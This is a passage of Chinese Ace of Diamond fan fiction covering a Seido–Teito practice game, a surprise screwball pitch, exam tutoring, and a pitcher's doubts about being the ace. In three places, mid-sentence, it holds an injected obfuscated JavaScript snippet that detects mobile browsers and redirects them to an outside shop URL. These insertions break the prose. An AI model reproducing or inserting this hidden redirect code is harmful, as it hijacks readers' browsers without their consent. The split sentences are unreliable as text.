在投球时故意改变节奏以破坏打者的打击状态,是常见的战术,但能精准执行的投手却不多,因为投手也有自己习惯的投球节奏,强行去做反而可能因此失去控球得不偿失,这种技巧只能算是锦上添花。 有球速又有控球,还能使用这种战术手段,真是犯规啊……八木虽被淘汰却已经开始期待他的下一个打席了。 五棒与六棒可没有八木这种强者的余裕,光是跟上恢复明快节奏投球的白鸟都困难。 中心打线第一轮没有建功实属正常,冈本监督并不觉得意外,这种资质的投手绝对是青道的下一个王牌。 不如说以他目前的完成度,青道如果夏甲预选赛保守一点就还是那个柴崎做王牌,激进一些,像是黑土馆当初直接让一年级的投手做王牌也不是不可能。 青道这次进夏甲的概率飙升,到时候一定会是个劲敌。 答应这次练习赛真是太对了! “我感觉到了火焰在燃烧!”冈本监督的双目炯炯有神。 “哇,监督又在着火。” “平常心平常心啦。” 森野上场前默默看了八木一眼,八木背后一寒,他接收到了那个眼神的信息。 “也没有在玩啦,对方很厉害啊。”八木摸摸鼻子,悻悻地自言自语。 白鸟走下投手丘,和御幸仓持一起往休息区跑的时候,他忍不住先和仓持击了个掌,然后抓住御幸的手臂跟自己击了个掌。 “喂,这啥啊?”御幸哭笑不得,他主动抬起手,“重来!” 白鸟高兴地又拍了上去:“刚刚完全没用暗号,但是我们配合的很好!” “哈哈!干的不错啊你们!”仓持从背后勒住两人的肩膀,兴奋地笑着。 御幸龇牙笑得阴险:“想用的战术还有很多,真想在这场练习赛里都试试啊。” 战局纠缠到了第四局,留下记分板上一串0。 结成第二次走上打击区,他的身躯巍然不动,眼神毫不迷茫,持棒的样子像是持剑的武士,有着静若止水的沉稳。 森野脱帽擦了一下汗,明明今天并不热,甚至有点凉意,他却在这个打者的目光中宛如置身烈夏的日光之下。 结成的眼睛是沉稳的褐色,大地始终坚实沉默,他的棒球风格一如他眼中的大地,正因足够稳定从不迷茫,那种毫无漏洞的感觉会给投手带来巨大压力。 “打出去了!是青道率先打出去了!” “不愧是结成!” 看客们一阵骚动。 结成跑上一垒的垒包,平平淡淡看不出兴奋地举起拳头,甚至都没有挥一下。 森野作为对手都对他的克制有点不爽的撇了撇嘴:“怎么一点都不兴奋,我的球很好打吗?” 增子比结成还兴奋地“呜噶”一声,他和东清国一样有着魁梧的身躯,肚子也因为爱吃的布丁有着向东清国发展的趋势。 每次东学长和增子学长站上打击区,总是很害怕投球砸到他们的肚子,也是另一种意义上的压缩了投手的好球区呢……这些调侃的细碎思绪如同气泡饮里的小气泡咕噜咕噜从白鸟的脑海中冒出。 冈本监督摸摸下巴,果然啊,森野很难撑过结成这个正选中心棒次的第二轮打线,但是森野你知道我在这场练习赛派你上场是为了什么吧? 森野向着1垒投了两个牵制球,有点烦躁地压了压帽檐,他知道自己一旦垒上有人就容易因为紧张而控球失误,他需要更加稳定的心态以应付接下来的夏季大赛。 深吸一口气,森野看向打击区的增子,这家伙怎么偏偏是个力量型打者。 增子透一直以来都在二军摸爬滚打,他性格很好因此和仓持关系亲密,他们不仅是舍友,也都在二军,一开始在食堂仓持吃不下三大碗饭时也是增子帮其分担的。 休息区的仓持屏息望着增子捏紧了拳头,他希望增子学长也能有优秀的发挥,如果他们俩能一起进入一军就好了。 捕手宫本没有叫暂停,他被监督吩咐过这次练习赛无论如何都不会去投手丘安抚投手,这是森野注定要自己度过的考验……不过就算如此也有自己能做到的事情。 他打了几个暗号,举起手套。 增子放慢了呼吸,他察觉到了投手丘上改变的氛围,要来了吗?直球还是曲球? 监督说过,作为打者要拥有一颗能够迅速沉静下来的心,专注力与手眼协调的能力能让击球率上升,而他大胃王能力赋予他的强大体格能够将球打出深远的距离。 他总是很冒失,缺乏的就是一颗如同结成那样沉静的心。 这一刻打者和投手的意志尽皆集中在那颗小球上。 投手挥出鞭子般的手臂,他的食指与中指压在缝线上,手指用力下压,棒球以高位的球路向着本垒板直直飞来。 直球还是曲球?! 增子死死盯住那颗疾驰而来的小球,他没有像往常一样急着挥棒,监督一直回荡在他耳边的话渐渐远去,所谓的集中的专注力,他似乎摸到了一点边缘,那球影在他眼中第一次变慢,在接近本垒处急剧下坠。 曲球! 他挥棒,可惜因为太过专注的辨认球种他挥棒的时机慢了一线。 “界外!” 增子并没有失落,相反他为自己的进步兴奋地“呜嘎”。 什么啊,我明明投的这么好,这家伙打出个界外球在高兴个什么劲啊!森野在投手丘上向着1垒的结成又投了一发牵制球以发泄自己的不爽。 蹲在击球准备区的白鸟清晰感觉到了增子学长击球时那异样的氛围,他略一思索就明白了是何缘由,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674058|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛不由得亮了起来。 没错,一定是那个!白鸟也曾进入过那个世界,那时仿佛整个世界都变慢,视野中的所有一切都淹没于黑暗里,只有手中的棒球和本垒处一切清晰的可怕。 那种时候投球会有自己无所不能的错觉。 他在此尝到了甜头自然就试图将其运用进击球中,可惜收效甚微,击球率确实上升了但不多,和东前辈结成前辈等打者讨论过后他明白了,这种奇异的状态在强打者中并不罕见,只是他们也无法控制自己主动进入那个状态。 如果增子学长也在此领悟了那个状态的运用,那确实是比刚刚那球有没有被击出去更值得高兴的事情。 可惜,也许是因为刚刚成功的兴奋干扰,增子没能再进入那个状态,他在第5球时打出一颗高飞球被接杀而结成则乘机跑到了二垒。 这下轮到白鸟站上打击区了。 森野“杀掉”一个打席高兴了很多。 看着白鸟,森野想起被其和那个捕手戏弄的帝东打者,冲着捕手打了个暗号。 宫本惊得差点在本垒处站起来,他突然觉得监督的吩咐反而有点妨碍到他了,森野这是要上天啊! ‘你认真的吗?现在?’宫本极其抗拒地使了个眼神,希望森野能放过他。 但是森野是谁啊,投手自我起来的时候能乖乖听话就怪了,更何况宫本既不是前辈也不是正捕手,根本控制不住想要任性的森野。 森野挑眉:‘当然,青道又不是东东京的,就算是又怎样,我就投这一个试试水。’ 宫本:“……” 白鸟扛着棒子莫名其妙地看着投手丘上眉飞色舞的投手。 淘汰了增子学长有那么高兴吗?难道他们有什么旧怨,就增子学长那个老好人一样的性格不可能吧? 不管了,现在把结成学长送回本垒拿下一分更重要。刚刚这个打者的曲球投的非常优秀,虽然没有丹波学长那么漂亮的弧度变化,却很「精准」。 白鸟做好准备,他体力下降的厉害因此击球一定更要精确地击中球心。 就在白鸟静待曲球的那刻,森野确实第一球投出了变化球,但结果却与白鸟的猜测大相径庭。 那球在本垒板处向着他的内角折射而去,森野是右投白鸟是右打,这与二缝线十分相似但快速下沉的变化弧度无疑就是他最近偷偷练习的伸卡球。 这巨大的巧合令白鸟瞪大眼睛,他注视着这道弧线忍不住挥出手中的球棒,福至心灵他明白了自己的变化球缺少的部分究竟是什么。 这球的落点不在好球带啊,宫本正准备移动手套去接,却见白鸟挥出了球棒。 “乒!” “右外野!”宫本站起身大喊。 那是足够快速足够深远的一击,外野手狂奔也没赶上,好在小球在飞行途中渐渐偏移掉进了右边挡网外,是个界外球。 捕手狠狠松了口气。 “伸卡球?!他还会伸卡球?以前从来没见森野投过啊,新球种?”青道粉丝中也有了解帝东选手的。 “哎?为什么坏球挥棒,我记得白鸟的选球眼光很好啊,这个并不是那种暧昧的坏球吧。” “可惜,就差一点就成全垒打了。” “哈哈,那确实~那就是白鸟在高中的第一个全垒打了。” 白鸟放下胳膊,他金眸闪亮宛如得到了梦寐以求的宝物,脸上尽是餍足。 打击准备区的御幸看着白鸟咽了咽唾沫,不会吧?! 森野见自己精心准备的武器没有得到想要的结果很不满意,看见白鸟脸上的表情更是快气死了。 青道的打者都是神经病吧,打出去的不高兴,没打出去的一个个这么高兴干什么? 让沸腾的情绪急速回落,白鸟明白现在不是为了取得伸卡球灵感高兴的时候。 他快速感受了一下自己的状态,明白此刻轻易回不到集中状态,索性以一击牺牲打让结成学长去到了三垒,把压力留给了下一棒的御幸。 26. 伸卡球? “垒上有人是你的舒适区吧,靠你了。” 御幸愁眉苦脸地站上打击区,但在看了看捕手又看了看投手后,他觉得他又可以了。 森野怒气冲冲,不行,他就不信了,这一分他就是不想让青道就这么拿下。 宫本狠狠拍了几下自己的手套让投手将目光重新放回自己身上,然后指了指帝东的休息区,森野一愣转头在看见“微笑”的监督时,他的冷汗瞬间留了下来。 完了,差点忘了自己本来的目的是什么,他是为了锻炼自己垒上有人时不要急躁来着,结果直接变暴躁了。 嘻嘻,调整好状态了吗?那也无所谓,来投点有趣的球啊,就像刚刚对增子学长和白鸟那样,无论是曲球还是伸卡球都OK。御幸期待地看着森野。 宫本见森野的情绪回归正常真的是松了口气。 ‘这个打者前面打席的打击很一般,但是森野你一定要把最好的表现展现给监督,别再随性子来了!’宫本忍不住瞪了森野一眼。 森野有点不服气却也知道宫本是为了他好:‘知道了,你究竟是我女房役还是妈妈啊?’ 宫本:‘都不是!’ 御幸默不作声地将投捕间的暗流涌动尽收眼底,啊啊~我都懂哦,投手就是这样喜欢任性的生物呢,所以以我上个打席糟糕的表现来说,这次你一定也不会多重视我吧,但是…… 为了调整投手的状态,为了你们监督不知道什么的目的,你一定想在这个最后的出局数上让投手迎来一个漂亮的结束吧? 那么,就投吧,投出那蕴含着意志和决心的一球,我最喜欢打这种球了! “御幸又开始了。”矢岛忍不住吐槽道,他也是知道御幸击球时的怪癖的,御幸一直喜欢以推测捕手配球来进行击球,完全是个脑力派,垒上有人时他猜球的准确率会急剧上升。 他优秀的配球的能力让他能够做到这点,推测他人想法尤其对方是捕手时又真的很准,有时候甚至会让人感到恶心。 明明拥有此等洞察力,但他偏偏不喜欢将其用在人际关系上,相反简直是仗着此能力故意在相反的道路上一路狂奔,真不知道是笨拙还是故意的,不怪别人吐槽他性格不好。 丹波这种敏感腼腆的就更不喜欢这样的学弟了,以御幸做捕手的能力来看,他不会是意识不到症结在哪的,所以丹波一定会觉得他是故意的,加之因为克里斯离开的郁结,也就更加反感和御幸搭档了。 池面脸对学长可没用,学着克里斯好好说话不好吗? 御幸可不知道矢岛学长在偷偷吐槽他,他目送了一记坏球,不紧不慢地等待下一球的到来。 棒球中他最喜欢的就是捕手的位置,而做打者时最喜欢的就是将对方投手最满意的那球打出去的那刻了。 再次目送了一个四缝线直球后,御幸终于等到了自己想要的那球。 他看着那道弧线坚定地挥出手中的球棒,虽然集训真的很累,但是打棒球真快乐啊! “球从游击手头顶飞出去了!落在了右外野!” “青道率先破分!” 结成从三垒跑回本垒,御幸也跟着登上了一垒。 第四局下半青道首先打破了计分板上的0,豪夺2分才算是结束了这一局。 第五局前的休息时间比较长,白鸟即将上场投球,他已经能明显感觉到体力的下降,不过比起刚入学时他确实成长了很多,居然在集训的强度下现在还能保持一定的状态。 现在的他还能有精力去尝试,再往后能稳住直球的控球恐怕都困难。 这么想着,又急需验证他的灵感,他找到了在回到休息区后莫名在躲着他的御幸。 捕手正抱臂倚靠在休息区的拐角,一腿随意地支着,光线刚好从他侧后方蔓延过来,他似乎在思考着什么,眉心微皱。 “一也……” “等等!”御幸回过神立刻摆出一个打住的手势,他左右看了看,“我大概能猜到你想说什么。” 白鸟眼睛一亮:“那么。” 御幸直接伸手捂住白鸟的嘴巴:“别说。说真的我也很想看,你一说我肯定拒绝不了,但现在不是时候啊!” 他有些崩溃地用眼神示意站在休息区栏杆处的监督。 “刚刚帝东那一出肯定是临时起意,你现在投伸卡球的话肯定会被监督认为是闹别扭之类的,感觉会变得很麻烦。”御幸打了个冷颤。 白鸟:“……”可是真的好想投,灵感是具有时效性的,他无法保证比赛结束他还能记得当时的灵光一现。 他拿下嘴上的手,犹豫了一下:“那我去和监督说一声?” 御幸似笑非笑地看白鸟:“你是想被罚几个星期不投球吗?谁会信你只用几球就学会了伸卡球,只会觉得你肯定偷偷投了规定球数之外的球,监督现在最讨厌不爱惜身体的球员了。” “什么?!白鸟也会投伸卡球?” 突然,一个大嗓门惊讶地嚷嚷出声,白鸟吓了一跳转头一看,山中学长不知何时站在了离他们一米多的地方,御幸刚刚忘记了压低声音刚好被他听见。 周围太嘈杂了,脚步声来来去去他竟然没注意到有人接近,白鸟懊恼地皱起眉。 片冈监督的视线已经扫了过来,此刻再装也没意义了,白鸟老老实实走到监督面前。 “怎么回事?”片冈监督问道,他的脸上看不出喜怒。 白鸟想了想还是决定实话实说,至于监督信不信那是监督的事,一个谎话要用无数谎话来填,他不喜欢。 片冈听完倒是没像御幸以为的那样发怒,他作为投手出身不觉得这是件离奇的事情,他的那个年代也是出过妖孽的,那可是对着录像能直接投出从没学过的球的投手。 “在打席上看了对方投手的伸卡球,让你对完善自己的伸卡球有了灵感?”片冈监督重复了一遍。 白鸟点点头,期盼地看着片冈监督,监督没有生气,他相信我。 片冈看着白鸟诚恳的样子嘴角上扬了几个像素点:“那就投吧。” “是!”白鸟扬起一个大大的笑脸,他开心地大声应道:“谢谢监督!” “不用谢我,以后有了想尝试的东西,先和教练与捕手说明白了吗?”片冈监督恢复了严肃的面容。 “未经允许私自练球很容易出问题,那是对自己也是对相信你的球队的不负责。” “还有你御幸,既然知道了为什么不和我说?” “不要轻视任何可能造成问题的行为。”片冈监督语重心长地说道。 他知道,以白鸟和御幸的能力在棒球问题上可能遇到的困难并不多,周围能真正引导他们的人也少,天才们大多总是自己前进,他们习惯了依靠自己。 但这也导致了出现问题时,他们很难立刻发现,而那些小问题迟早会引发更大的问题,到那时就来不及了,就像克里斯那样……他到现在也无法原谅让最好的弟子变成现在这样的自己。 白鸟严肃了神情:“我明白了监督。” 御幸也立刻表明了态度。 他们在得到允许后从监督身边离开,开始做上场的准备。 “监督其实并不像他的面容那样凶恶,是个和东学长、伊佐敷学长、洋一他们一样内心温暖的人。”白鸟注意到了监督刚刚那个微小的笑容,明白了监督其实不像他长得那样不近人情,也就不再害怕他严肃的样子。 御幸耸耸肩:“这算青道的一脉相承吗?” “额……也许?”白鸟语塞。 “所以你想在哪个打席用这球?”既然监督允许,御幸想到这颗出其不意又某种意义上肯定会让帝东队员们想七想八的球,开始兴奋起来。 白鸟理所当然道:“你不是说让我相信你,肯定是作为捕手的你来决定啊。” 御幸挑眉:“那我就不客气了,第一球怎么样?” 两人一边随着广播往场上走,一边想到可能会出现的场景嘿嘿嘿地笑起来。 仓持无语地看着狼狈为奸的两人,刚刚他都吓死了好吗?有时候真想踹他俩一脚。 此次意外的引发者山中往外野跑去,身边跟着中坚手小岛。 山中边跑边忍不住想到刚刚监督的态度,憋不住低声嘟囔了一句:“监督真偏心。”引来小岛惊悚的一眼 五局上半的第一个打席正巧是帝东的四棒八木天羽。 八木上场前被森野特地拉过去叮嘱:“一定给我出口气!” 这哪是我能控制的?八木烦恼地想着,不过青道投手的体力确实一直在下降,三棒福田说球威下降了,但那小子还不是又被接杀了。 不过,这里确实该有一发了。八木再次哼着歌上场吸引了御幸的目光,这四棒好喜欢哼歌。 ‘那第一球就用伸卡球了,投不进好球带也无所谓,让我看看你的伸卡球究竟是何摸样吧!’御幸笑着张开手套。 白鸟活动了一下手指,自己练习时伸卡球虽然能投出来,但是曲线和速度总是很奇怪,也经常进不去好球带。 直到他站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674059|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在打席上亲眼看了一眼伸卡球的轨迹,虽然不是自己投出的球,但白鸟不知为何突然就冒出了一点灵感,这灵感有些虚无缥缈,但牢牢抓住了他的心神,让他在那一刻甚至可以说任性的放弃了自己的打席。 但…… 让我试试现在这个方式吧。白鸟看向御幸的手套,虽说投不进好球带也没关系,但是“欲得其中,必求其上;欲得其上,必求上上。”* 他静下心,现在垒上无人,对方虽是四棒可也才第二个打席的第一球。 伸卡球的握法和二缝线很像,拇指置于棒球底部偏左,握球时要稍微向内倾斜。白鸟心中念着书上看来的伸卡球握法,逐渐将注意力集中。 球场上的一切疏忽远去,心跳声、呼吸声如雷鸣般震荡脑海,握在棒球上的手指悄然挪动偏离了伸卡的握法,白鸟白皙的脸颊上因为兴奋不受控制地泛上红晕,金眸亮的吓人,那一刻他的眼中似乎连御幸的身影都消失了。 ‘喂喂喂,真的没问题吗?’御幸的脸颊抽动了一下,几滴汗流了下来,但是他的心跳却飞速跳动起来,分不清是因为担心紧张还是兴奋。 作为强打的八木渐渐严肃了神情,他的呼吸随着投手丘上增强的压力放缓,八木自然不会像小川那样将滑球认成切球,他知道白鸟的变化球是滑球和二缝线,也许还要加一颗滑球衍生的小切球。 来了! 八木微微睁大眼睛,仔细辨认着球路,白鸟的变化球前半段通常都与直球很相似,会对打者选球造成极大的困难。 是二缝线吗?!八木屏气凝神,他调整重心旋转髋部,硬是等到棒球于本垒板处开始变化时才出手,他的手眼协调能力和优秀的身体能力能够让他在这短短的时间内挥出球棒。 棒球确实向着他的内角开始移动了,但是令八木吃惊的是,移动幅度完全超出他的预料,棒球横向移动的距离和速度简直和滑球一样! 这一刻站在投手丘上的其实是个左投手?这一球其实是左投手投出的滑球? 棒球灵巧地越过他的球棒被捕手抓住。 “啪!” 但这一刻,未曾击中棒球的懊恼已经被其他东西取代了。 “这、这是?!怎么可能?!”八木不顾风度地在打击区大叫起来。 这是伸卡球?屁嘞! 这明明就是已经几乎绝迹的螺旋球!和滑球完全镜像的球路,不论是学习难度还是威胁性与伸卡球相比都不可同日而语。 “这、这我是看错了吗?” “额?可能是昨天晚上睡太迟了眼花了吧,刚刚那是什么?二缝线?伸卡?还是……螺旋球?!” 场内的气氛也绝不平静。 帝东休息区,森野大声嚷嚷:“那小鬼绝对是故意的!讨厌的小鬼!” 虽然喊的很大声,但他的眼中满是震惊,甚至带有一丝不易察觉的恐惧。 乾宪刚作为捕手更是震撼地看着那球:“我感觉到了雷击!” 御幸在本垒处起身,传球回去时大声道:“好球!” 他出了一身冷汗,哪怕心里怕得要死,面上也要装作是尽在掌控内的淡定。骗子啊!什么伸卡球,这不是螺旋球吗???差点就没接到!而且学螺旋球?白鸟京是疯了吗?! 这球并没能投进他的手套,是他主动去接的,但是落点距离好球带已经相当的近了,只有大约半颗棒球的差距。 但无论是折射的时机,还是变化的幅度,它已然是一颗相对成功的螺旋球。 成功到让御幸有点恍惚不知道今夕何夕的感觉,难道现在其实是在两年后的甲子园赛场上?而不是一个普通的练习赛中。 “教、教练?那是?” 面对着休息区一众投射过来的目光,片冈只能沉默,因为他也是真的不知道,这对投捕不是说的是伸卡球吗?难道是他理解错了?? 一球震撼了所有人后,这颗球后续再也没有出现过,这又让其他人不明所以起来。 是不是真的看错了? 随着集训的debuff渐渐越叠越多,螺旋球的震撼渐渐消散,青道的弱点也随之暴露于帝东眼前。 最终,帝东和青道的练习赛以3:3的比分平局收场。 白鸟后面的五局以打出2分本垒打的八木为首,一口气让帝东打者追上了3分,虽然也有减少了变化球的原因,但失这么多分,让他头一次在投手丘上感受到了什么叫力不从心、头皮发麻。 果然,体力在高中赛场上还是太重要了。 27. 间奏 螺旋球事件最后被以投捕两人被罚跑,且禁止再投作结。 实在是螺旋球和伸卡球完全不是一个概念的变化球,它对投手的肘与肩膀的负担太过沉重,是以牺牲投手的健康、投手的职业生涯为代价换取那昙花一现的绚丽。 既然已经有了二缝线和伸卡作为螺旋球的替代品,又何必去追求完美但致命的那一球。 “哎?期末考试?!” 在紧张刺激的练习赛过后,迎来的并非是尘埃落定的放松,对于学渣而言,又是一轮新的地狱来袭。 “是啊……在集训之前我不就说过了。”川上无奈地叹气。 他对面的前园石化在原地,饭勺从他手上乒铃乓啷掉在桌子上。 “完全忘记了!!!”他大吼,憨厚的脸上满是死到临头的绝望。 “吵死了!”一位前辈飞来一巴掌拍在他头上,让这个像伊佐敷一样的大喇叭迅速闭麦。 白鸟看着这出闹剧,觉得有点好笑,一回头两个同样石化的人影印入眼帘。 “……”他沉默片刻,笑容一点点收敛,“你们不会也忘了吧?” “哈、哈、哈……我如果说是的,京你会帮忙的吧?”御幸双手合十目光放射可怜光波,然后给对面的仓持使劲使眼色,示意他也一起。 让他做这种动作还不如杀了他,仓持沉默着低下头,额头抵在餐桌上:“拜托了。” “我肯定会帮你们的啊!”白鸟立刻伸手把仓持的脑袋扶了起来。 “正好集训结束了,晚上来我宿舍来补习吧,我的笔记到时候你们拿去看。”白鸟扶额叹气,他早在看见这两个在课堂上打瞌睡的时候就有所预料,只是没想到他们两个把期末考试都忘了个干净。 川上凑过来:“白鸟入学时排位多少?” “第7。不过加入棒球社后我没有花太多时间在学习上,肯定是考不到这么高了。”白鸟并不觉得可惜,付出多少努力就得到多少收获,很公平。 “哇!厉害啊!”前园也凑过来惊叹。 白鸟思考片刻:“一年级还有人要来吗?正好大家擅长的学科可能都不一样。” “我我我!” “我也要~” 食堂响起一片应和之声,看来对期末考试苦手的人还挺多,不愧是棒球笨蛋们。 “导演你也要来吗?” 一年级的三军选手天野秋实自从那次集训聚会后,就荣获“导演”外号。 天野撩起刘海,自信一笑:“我是来给你们补课的,我可是入学时的第11名哦!” “额……” “你们这是什么反应!”天野气急败坏,“刚刚白鸟说自己第七名的时候,你们可不是这样的!” 御幸一笑,镜片白光一闪:“可能是因为你看上去真的不像吧,呵呵。” 天野浑身一颤,自聚会事件众人集训时被御幸狠狠报复过之后,他就对这笑面虎开始敬而远之。 这眼镜捕手,腹黑的很! 因为参与的人还不少,就按需分成了两组在两个比较空的宿舍进行补习。 夜晚,大家都去自己宿舍拿书做准备去了,仓持御幸是来得最快的。 仓持需要补习的科目是数学与理综,御幸的是社会学与外语。 “听你天天喊Nice Ball很难想象你外语成绩差劲啊。”白鸟开始整理自己的课堂笔记,以供需求者复印。 御幸摸摸后脑勺的头发:“那些棒球术语我还是很熟练的,但是外语的其他东西我就不感兴趣了。” 仓持嗤了一声:“就你这样还想去大联盟?给你随身配翻译吗?” “哇——仓持考虑的好远,我连日职都没去想哎~”御幸晃着凳子,语调轻松,“还是说在仓持君的心里,我已经是未来能征战大联盟级别的优秀选手了?” 他故意把后一句的仓持君几个字咬的很重,完全是欠扁的语气。 仓持:# “你们还要不要复习了。”白鸟把笔记放下,面无表情地看着二人。 “哇——投手丘上的白鸟君出现了!可怕可怕!”御幸笑嘻嘻地坐正,摊开面前的练习册。 白鸟:# 他和仓持对视一眼,皆从对方眼中看见了一言难尽,两人四目相对时脑内电波瞬间对上,然后一起慢吞吞瞥向旁边的御幸。 只见仓持一个飞扑,运用小时候学过的摔跤里的锁技将御幸控制在了地板上。 “痛痛痛!”御幸这下笑不出来了,笑容不会消失只会转移,只是从他脸上转移到了仓持和白鸟的脸上而已。 “快!”仓持眼中满是快意,而白鸟则微笑着伸出双手。 “呐,一也,我很喜欢你的笑脸哦。”白鸟的上半张脸随着俯身慢慢变黑,唇边笑意也逐渐阴险起来。 在身边人的影响下,白鸟恢复了不少这个年龄段该有的调皮,尤其在折磨御幸的事情上已经不再感到不好意思。 “哈哈哈哈哈哈哈哈哈哈!救、救命!哈哈哈哈哈哈哈!”御幸被死死固定,只能任由白鸟在他的腰侧使劲挠痒痒。 为了防止御幸在挣扎中伤到眼睛,白鸟贴心的把眼镜推到他的头顶。 “我、我错了!哈哈哈哈哈哈哈哈哈饶、了我、吧哈哈哈哈哈哈哈哈!”他眼框中生理性的眼泪都因为失控的笑溢了出来,脸颊也因为大笑而变得红润。 看着那双湿润的眼睛,白鸟微笑道:“还能不能好好学习了?” 他的手威胁地贴在御幸腰间,没有失礼地伸进衣服里去,但隔着T恤也能感受到掌下线条流畅的肌肉,白鸟没有再挠,但颇有些如果御幸再说出些不中听的话,就让他继续尝尝厉害的意思。 “哈、哈……”御幸大口喘息着,刚刚差点没给他笑撅过去,他眨眨眼睛让眼前模糊的水光消失,眼睫毛上都沾些了溢出的泪水。 他缓了半天才道:“能的……” 就在仓持满意地松开他时,御幸动作敏捷地一扑,将面前的白鸟扑倒在地,还好地上都铺了海绵垫经得住他们折腾。 “喂!”仓持正准备去扯,却被白鸟和御幸一起拉倒在地,于是三人在地板上滚作一团。 直到宿舍门再次被打开,前园走进来正准备打招呼,却有些狐疑地停住了嘴。 怎么感觉这三个人怪怪的。 但他扫了一圈也没发现什么不对,便不去在乎这些细枝末节,开心地和三人打起了招呼。 仓持背后出了一身汗,幸好白鸟的耳朵好,在听见脚步声的时候让他们停止胡闹,要不然现在面子里子都得丢完了。 白鸟继续闷头整理笔记,而御幸也装作在认真研读面前外语书本的样子,学习氛围从未有过的浓厚,但仔细看的话三人腮边耳后都是细汗。 等分到这里的人陆陆续续都到了白鸟宿舍,大家也都慢慢沉浸在了学习中,学习嘛氛围也很重要,本来以为会很乱七八糟,没想到这个小补习班还挺像模像样的。 其实像是他们这样能够在青春的年纪为了打棒球加入强校,失去了90%娱乐时光的少年们,拥有的自制力都是惊人的,只是之前都没有将其用在学习上而已。 就算有人天生笨拙不擅长学习,这样的集体补习多来几次,想必及格不成问题。 片冈监督兼任高二的国文老师,自然不会是那种不注重成绩的教练,相反,他相当重视社员的学习。因为在他看来,最后毕业能真正走上职业道路的人少之又少,考上好的大学继续人生,才是最重要的。 在夏季甲子园预选赛之前,期末考试终于在热火朝天的氛围里结束了。 大家的努力没有白费,棒球社里没人不及格需要补考,这下所有人都可以将精力安心放在即将到来的比赛中了。 因为在春大取得了亚军的好成绩,青道高中作为种子队去抽签拥有不少特权,他们将与身为春大冠军的市大三高校隔半区相望,如果他们都顺利打进决赛,才能遇见。 这种时候,稻城实业的抽签结果就相当重要了,他们抽到哪个半区,就决定了青道与市大三谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674060|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要在半决赛与稻实对上。 两方都期待是对面倒霉,这样的话,半决赛的强度足以逼出任何一所进入决赛学校的底牌,另一方则可以养精蓄锐以逸待劳。 当然,如果突然出现一匹黑马,那这次的比赛结果就谁也说不准了。 “东的运气很差,半决赛大概率是我们对上稻实吧。”村田趴在桌上有气无力地说道。 “喂,又不是我抽,这结果是稻实的队长抽签决定的好吗?!”东清国一脸不服,不过眼中多少有些心虚,他对自己的运气心知肚明。 三年级们笑而不语,这一年,自从东清国当了队长,他们可是被这臭手坑得不轻。 *** 夜晚的青心寮附近。 “翔一,你还在想那件事吗?”增田看着更加沉默的柴崎,有些担忧地低声问道。 柴崎点点头,眉目间环绕着忧愁。 自从看见白鸟练习赛时投出了螺旋球,他就有些迷茫。夏甲的背号,他对王牌的归属开始觉得有些不确定了,并非是怀疑监督,而是怀疑自己。 增田叹气。 “无论监督选择谁当王牌还是正捕手,都是出于对队伍的考虑,我是这么想的。”增田思考着,说出了自己的想法。 柴崎一直不说话,但增田耐心充足,早就学会了等待。 柴崎缓缓停步,夜风拂过他的衣角:“我曾经并没有那么深刻的理解过天赋是什么。” 夜空中能被肉眼看见的星星已经所剩无几,因人类城市的灯光污染,那些宇宙中星体的光芒淹没在夜幕里。 柴崎站在路灯的阴影处,黑暗中,倾诉欲陡然涌了上来。 “和岚樱比赛的时候我以为自己能去不在乎,但直到我自己都对王牌背号不确定的这一刻……我才真正明白阿刚你当初的心情。” “我当时是不是挺混蛋的?叫你不要认输,实则只是为了能和你继续一起打棒球。”柴崎苦笑,漆黑的头发与漆黑的眼睛让他在黑暗中像是一抹融于其中的阴影。 增田的身影一半在灯光下,一半在阴影里,他憨憨一笑:“也没有啦,我都和你相处多久了,能不知道你是个什么样的人吗?” 这夸我损我呢?柴崎无语。 像是要把平时沉默时积郁的东西全都吐出来,柴崎继续道:“正是因为太喜欢棒球,面对这种天赋差距,连竞争的欲望都生不出来。” “只要能带领队伍胜利,谁是王牌都没关系。我明明是这么想的……但是真到了这一刻心里竟然涌现了连我自己都感到吃惊的不甘心。” 捕手露出过来人的笑容,那笑容下藏着和投手一样的苦涩:“人是理智与感性并存的生物,大道理谁都会说,可谁能真的做到不被感情牵引呢?” “翔一,我想要去甲子园。” 柴崎呼吸一滞,他错愕地抬头看向身前的增田。 “无论监督的决定是怎样的,这支队伍里一定还有我能做的事,这是我们最后的半年了,”忽然变大的风扬起增田的发梢,随风飞舞的发丝也遮不住他明亮的眼睛,“我想要见一见那个圣地,我想要在甲子园打一场棒球。” “翔一,你呢?” 柴崎喉咙干涩,眼眶泛酸,他忽地低头抹了把眼睛,然后坚定地注视着增田:“我也是!” 